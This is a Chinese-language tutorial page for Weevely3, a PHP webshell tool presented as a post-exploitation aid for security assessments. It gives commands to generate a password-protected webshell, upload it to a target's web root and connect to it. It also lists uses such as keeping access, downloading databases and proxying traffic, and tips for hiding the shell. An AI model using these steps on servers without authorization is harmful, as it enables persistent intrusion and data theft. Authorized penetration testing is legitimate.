Weevely3 使用教程
2024-08-10 08:24:36作者:申梦珏Efrain
1. 项目介绍
Weevely3 是一款强大的Webshell工具,其设计目的是用于网络安全评估中的后期阶段。它允许用户远程管理服务器,通过一个简单的命令行界面执行各种维护任务,如文件管理、系统信息查看、命令执行等。Weevely3基于Python编写,支持PHP环境,以其隐秘性和可扩展性著称。
2. 项目快速启动
安装要求
确保你的系统已经安装了Python和Git。
克隆项目
首先从GitHub克隆Weevely3到本地:
git clone https://github.com/epinna/weevely3.git
cd weevely3
安装依赖
安装必要的Python包:
pip install -r requirements.txt
生成Webshell
生成PHP管理文件,替换YOUR_PASSWORD为你自定义的密码:
./weevely generate YOUR_PASSWORD /path/to/output.php
上传Webshell
将生成的output.php文件上传到目标服务器上的任意可写目录,例如 Apache 或 Nginx 的网页根目录。
建立连接
在本地终端上使用以下命令连接Webshell:
./weevely http://target_url/output.php YOUR_PASSWORD
在这里,target_url 是服务器上output.php文件的位置。
3. 应用案例和最佳实践
- 服务器检查:使用Weevely进行权限验证,查看系统文件和目录。
- 访问维持:当原始入口点丢失时,可以通过Webshell保持访问。
- 数据查看:可以下载或查看服务器上的文件,包括数据库和其他系统信息。
- 网络代理:借助内置的proxy模块,你可以通过被控服务器转发流量。
- 安全评估:模拟测试行为,评估网络安全措施。
最佳实践:
- 为了安全性,确保管理文件名随机且不易被识别。
- 维护良好的日志记录和监控,避免连接暴露。
- 在不使用时,及时删除Webshell。
4. 典型生态项目
Weevely3与其他安全评估工具结合使用,可以增强整个测试流程的效果,例如:
- Nmap: 扫描开放端口和服务。
- Burp Suite: 针对HTTP流量进行拦截和修改,辅助Web应用程序的安全评估。
- Sqlmap: 自动SQL注入工具,用于数据库枚举和提取。
- Metasploit Framework: 提供多种测试模块,配合Weevely进行进一步评估。
了解并熟练掌握这些工具的结合使用,可以大大提高你在安全测试领域的效率和专业性。
登录后查看全文
热门项目推荐
相关项目推荐
AutoGLM-Phone-9BAutoGLM-Phone-9B是基于AutoGLM构建的移动智能助手框架,依托多模态感知理解手机屏幕并执行自动化操作。Jinja00
Kimi-K2-ThinkingKimi K2 Thinking 是最新、性能最强的开源思维模型。从 Kimi K2 开始,我们将其打造为能够逐步推理并动态调用工具的思维智能体。通过显著提升多步推理深度,并在 200–300 次连续调用中保持稳定的工具使用能力,它在 Humanity's Last Exam (HLE)、BrowseComp 等基准测试中树立了新的技术标杆。同时,K2 Thinking 是原生 INT4 量化模型,具备 256k 上下文窗口,实现了推理延迟和 GPU 内存占用的无损降低。Python00
GLM-4.6V-FP8GLM-4.6V-FP8是GLM-V系列开源模型,支持128K上下文窗口,融合原生多模态函数调用能力,实现从视觉感知到执行的闭环。具备文档理解、图文生成、前端重构等功能,适用于云集群与本地部署,在同类参数规模中视觉理解性能领先。Jinja00
HunyuanOCRHunyuanOCR 是基于混元原生多模态架构打造的领先端到端 OCR 专家级视觉语言模型。它采用仅 10 亿参数的轻量化设计,在业界多项基准测试中取得了当前最佳性能。该模型不仅精通复杂多语言文档解析,还在文本检测与识别、开放域信息抽取、视频字幕提取及图片翻译等实际应用场景中表现卓越。00
GLM-ASR-Nano-2512GLM-ASR-Nano-2512 是一款稳健的开源语音识别模型,参数规模为 15 亿。该模型专为应对真实场景的复杂性而设计,在保持紧凑体量的同时,多项基准测试表现优于 OpenAI Whisper V3。Python00
GLM-TTSGLM-TTS 是一款基于大语言模型的高质量文本转语音(TTS)合成系统,支持零样本语音克隆和流式推理。该系统采用两阶段架构,结合了用于语音 token 生成的大语言模型(LLM)和用于波形合成的流匹配(Flow Matching)模型。 通过引入多奖励强化学习框架,GLM-TTS 显著提升了合成语音的表现力,相比传统 TTS 系统实现了更自然的情感控制。Python00
Spark-Formalizer-X1-7BSpark-Formalizer 是由科大讯飞团队开发的专用大型语言模型,专注于数学自动形式化任务。该模型擅长将自然语言数学问题转化为精确的 Lean4 形式化语句,在形式化语句生成方面达到了业界领先水平。Python00
项目优选
收起
deepin linux kernel
C
24
9
OpenHarmony documentation | OpenHarmony开发者文档
Dockerfile
411
3.16 K
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
664
323
Ascend Extension for PyTorch
Python
227
255
暂无简介
Dart
677
160
React Native鸿蒙化仓库
JavaScript
265
326
🎉 (RuoYi)官方仓库 基于SpringBoot,Spring Security,JWT,Vue3 & Vite、Element Plus 的前后端分离权限管理系统
Vue
1.21 K
660
Nop Platform 2.0是基于可逆计算理论实现的采用面向语言编程范式的新一代低代码开发平台,包含基于全新原理从零开始研发的GraphQL引擎、ORM引擎、工作流引擎、报表引擎、规则引擎、批处理引引擎等完整设计。nop-entropy是它的后端部分,采用java语言实现,可选择集成Spring框架或者Quarkus框架。中小企业可以免费商用
Java
9
1
旨在打造算法先进、性能卓越、高效敏捷、安全可靠的密码套件,通过轻量级、可剪裁的软件技术架构满足各行业不同场景的多样化要求,让密码技术应用更简单,同时探索后量子等先进算法创新实践,构建密码前沿技术底座!
C
1.03 K
492
TorchAir 支持用户基于PyTorch框架和torch_npu插件在昇腾NPU上使用图模式进行推理。
Python
342
146